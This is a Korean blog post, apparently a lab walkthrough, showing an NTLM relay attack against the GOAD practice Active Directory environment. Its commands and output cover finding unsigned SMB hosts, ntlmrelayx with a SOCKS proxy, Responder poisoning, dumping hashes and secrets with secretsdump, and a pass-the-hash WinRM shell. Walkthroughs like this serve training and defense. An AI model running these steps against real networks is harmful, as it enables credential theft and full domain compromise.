Post

GOAD NTLM Relay

이전 포스팅인 GOAD 사용자 및 유저 열거에서 RPC, LDAP, SMB, AS-REP Roasting, Kerberoasting을 통해서 총 4건의 유효한 계정을 탈취할 수 있었다.

이번 포스팅에서는 이전 포스팅의 Responder를 활용하여 NTLM Relay에 대해서 다뤄보도록한다!

NTLM Relay

이전 포스팅에서도 확인했지만 Responder를 통해 GOAD 네트워크 인터페이스를 리스닝하면 robb.starkeddard.stark NTLM을 획득할 수 있었고, 그중 eddard.stark의 NTLMv2는 hashcat으로도 크랙이 불가능하였다.

Desktop View

SMB to SMB

eddard.stark 계정으로 SMB 연결 시 DNS 조회가 실패하여 브로드캐스팅되는 NTLM을 현재 공격자 PC에서 릴레이 할 수 있도록 ntlmrelayx를 사용할 수 있다. 하지만 모든 SMB에 전달할 수 있는것은 아니라 서명되지않은 SMB에 전달이 가능하다. GOAD 정찰 및 열거에서도 확인됐지만 언급하지않은 서명되지않은 SMB 서버가 2개 존재했다.

자세한 SMB to SMB 트릭에 대해서는 레드팀 플레이북 - SMB to SMB를 참고

Desktop View

NTLM Relay에 대상 목록을 아래와 같이 netexec로 리스팅할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[~/Desktop/GOAD]
└─# netexec smb '192.168.56.0/24' --gen-relay-list relay-targets.txt
SMB         192.168.56.22   445    CASTELBLACK      [*] Windows 10.0 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False)
SMB         192.168.56.10   445    KINGSLANDING     [*] Windows 10.0 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB         192.168.56.11   445    WINTERFELL       [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB         192.168.56.12   445    MEEREEN          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True)
SMB         192.168.56.23   445    BRAAVOS          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True)
Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

┌──(root㉿kali)-[~/Desktop/GOAD]
└─# cat relay-targets.txt
192.168.56.22
192.168.56.23

이제 서명이 비활성화된 SMB를 대상으로 일정 시간마다 전달받는 NTLM을 전달하기 위해 impacket의 ntlmrelayx 커멘드를 실행한다.

ntlmrelayx를 실행 후 Responder를 실행하여 쿼리를 릴레이 대상으로 전달해야하는데 기존 Responder에서 캡처된 NTLM이 존재할 경우 재전달하지않는다. 그렇기에 Responder.db 파일을 삭제 후 진행하는것이 좋다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(root㉿kali)-[~/Desktop/GOAD]
└─# ntlmrelayx.py -tf relay-targets.txt -smb2support -socks
Impacket for Exegol - v0.10.1.dev1+20231106.134307.9aa93730 - Copyright 2022 Fortra - forked by ThePorgs

[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Running in relay mode to hosts in targetfile
[*] SOCKS proxy started. Listening at port 1080
[*] IMAPS Socks Plugin loaded..
[*] HTTP Socks Plugin loaded..
[*] HTTPS Socks Plugin loaded..
[*] SMTP Socks Plugin loaded..
[*] MSSQL Socks Plugin loaded..
[*] SMB Socks Plugin loaded..
[*] IMAP Socks Plugin loaded..
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
 * Serving Flask app 'impacket.examples.ntlmrelayx.servers.socksserver'
 * Debug mode: off
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(root㉿kali)-[~/Desktop/GOAD]
└─# rm -rf /usr/share/responder/Responder.db

┌──(root㉿kali)-[~/Desktop/GOAD]
└─# responder -I eth1
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

  To support this project:
  Patreon -> https://www.patreon.com/PythonResponder
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C
...
...
...

이후 일정 시간이 지나면 다음과 같이 Responder에서 손상된 연결이 서명되지않은 SMB(192.168.56.22, 192.168.56.23)로 전달되면서 socks 프록시가 해당 세션을 사용하도록 설정된다.

Desktop View

BloodHound를 통해 확인해보면 eddard.stark는 도메인 어드민으로 릴레이를 통해 활성된 socks 프록시를 통해 관리자 권한으로 컴퓨터에 접근 할 수 있다.

Desktop View

Desktop View

eddrad.stark DCSync 권한을 이용하여 CrackMapExec, Mimikatz, Invoke-DCSync, SharpKatz 등의 다양한 도구를 이용해 DCSync 기능을 실행할 수 있다. 여기선 netexec를 사용하여 NTDS.dit를 덤프하여 도메인의 모든 계정을 탈취하였다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(root㉿kali)-[~]
└─# proxychains -q impacket-secretsdump -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22' -outputfile secretsdump.out
Impacket for Exegol - v0.10.1.dev1+20231106.134307.9aa93730 - Copyright 2022 Fortra - forked by ThePorgs

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x34c5c632ecd7eb6ce3295884cf02ac1b
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:0e181c6215bdbfd5b93917da349fc7cd:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
[*] Dumping cached domain logon information (domain/username:hash)
NORTH.SEVENKINGDOMS.LOCAL/sql_svc:$DCC2$10240#sql_svc#89e701ebbd305e4f5380c5150494584a: (2023-12-28 08:56:44)
NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405: (2024-01-10 03:11:46)
NORTH.SEVENKINGDOMS.LOCAL/jon.snow:$DCC2$10240#jon.snow#82fdcc982f02b389a002732efaca9dc5: (2024-01-02 06:42:17)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
NORTH\CASTELBLACK$:aes256-cts-hmac-sha1-96:d09795a3a03af25273172846c6b4a08ac94b8670d3f296b53943dc91a6f1a73e
NORTH\CASTELBLACK$:aes128-cts-hmac-sha1-96:b94931f4890526929e1deb25fbe4e831
NORTH\CASTELBLACK$:des-cbc-md5:fb7a25261f733249
NORTH\CASTELBLACK$:plain_password_hex:430021007400600054003500230053002700560070007700530037004300700036006c00210076005e0075004200510078004b0028003d004e004d0077006e0024003e00740048004e002b0067004d0056004100240044002c00730044005a00550034006d005b005a005a005a0026005f0024003f00520034005500330055003d00640047007a006800310072006f00530061003a0040005f0026004200400067005500520035006400620062005e0073003e0032003f006c00750064002b00580021004b006f004c00230047002600280045003200330053007000440055006700370021005f004e00240060004c00
NORTH\CASTELBLACK$:aad3b435b51404eeaad3b435b51404ee:fb1e254aa5e08817ee680b02f9122c42:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x0e6f0960d0b0a2eb2d4ba95da8476044ed80ee37
dpapi_userkey:0xa438d9e3ffa6cb60e75782e5cc3f42c5e60b869b
[*] NL$KM
 0000   39 FB 46 D8 43 B6 EC E6  DE D7 CE 1C 50 2D AE B4   9.F.C.......P-..
 0010   4F 71 E1 25 BF 5E FB 14  86 14 D6 A3 0F 93 DE 42   Oq.%.^.........B
 0020   06 48 F4 35 B1 45 83 7E  1A 98 29 D6 45 19 14 D2   .H.5.E.~..).E...
 0030   C4 66 57 03 2B C5 04 01  AE 33 49 CD D2 E0 92 CE   .fW.+....3I.....
NL$KM:39fb46d843b6ece6ded7ce1c502daeb44f71e125bf5efb148614d6a30f93de420648f435b145837e1a9829d6451914d2c46657032bc50401ae3349cdd2e092ce
[*] _SC_MSSQL$SQLEXPRESS
north.sevenkingdoms.local\sql_svc:YouWillNotKerboroast1ngMeeeeee
[*] Cleaning up...
[*] Stopping service RemoteRegistry

이후 관리자 계정으로 WinRM 접근까지 성공하여 north.sevenkingdoms.local 도메인을 장악하는데 성공한다.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~/…/secretsdump/192.168.56.22/Users/Administrator]
└─# evil-winrm -i '192.168.56.22' -u 'Administrator' -H 'dbd13e1c4e338284ac4e9874f7de6ef4'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
castelblack\administrator

Drop the MIC

CVE-2019-1040(Drop the MIC)에 대한 이해가 완벽하지않아 나중에 작성 예정 :(

이렇게 NTLM Relay 시나리오도 마무리하면서 이번 포스팅을 마무리하겠다 :)

This post is licensed under CC BY 4.0 by the author.